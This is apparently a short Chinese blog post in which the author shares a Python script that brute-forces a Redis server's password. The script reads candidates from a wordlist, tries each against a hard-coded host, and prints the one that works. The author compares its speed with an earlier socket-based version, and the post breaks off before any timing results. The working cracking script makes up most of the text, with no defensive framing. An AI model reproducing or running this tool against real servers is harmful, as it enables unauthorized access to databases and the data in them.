昨天用socket模块写了个破解redis密码的脚本,今天用Python redis模块在写了个,同一个密码文本,发现redis模块速度明显不如socket模块,代码如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 18-12-27 下午9:20
# @Site :
# @File : redisCrack_2.py
# @Software: PyCharm
from redis import StrictRedis
from redis.exceptions import ResponseError
import sys
redisCrackFile="redisPass.txt"
ip="192.168.36.3"
port=6379
with open(redisCrackFile,"r") as f:
for p in f:
r=StrictRedis(ip,port,password=p.strip("\n")) #一定要去掉行尾“\n”换行符,不然正确密
try: #码也无法验证通过
response=r.ping()
if response == True:
print "cracked,redis password is: %s" %p
sys.exit(0)
except ResponseError,e:
pass
测试速度如下: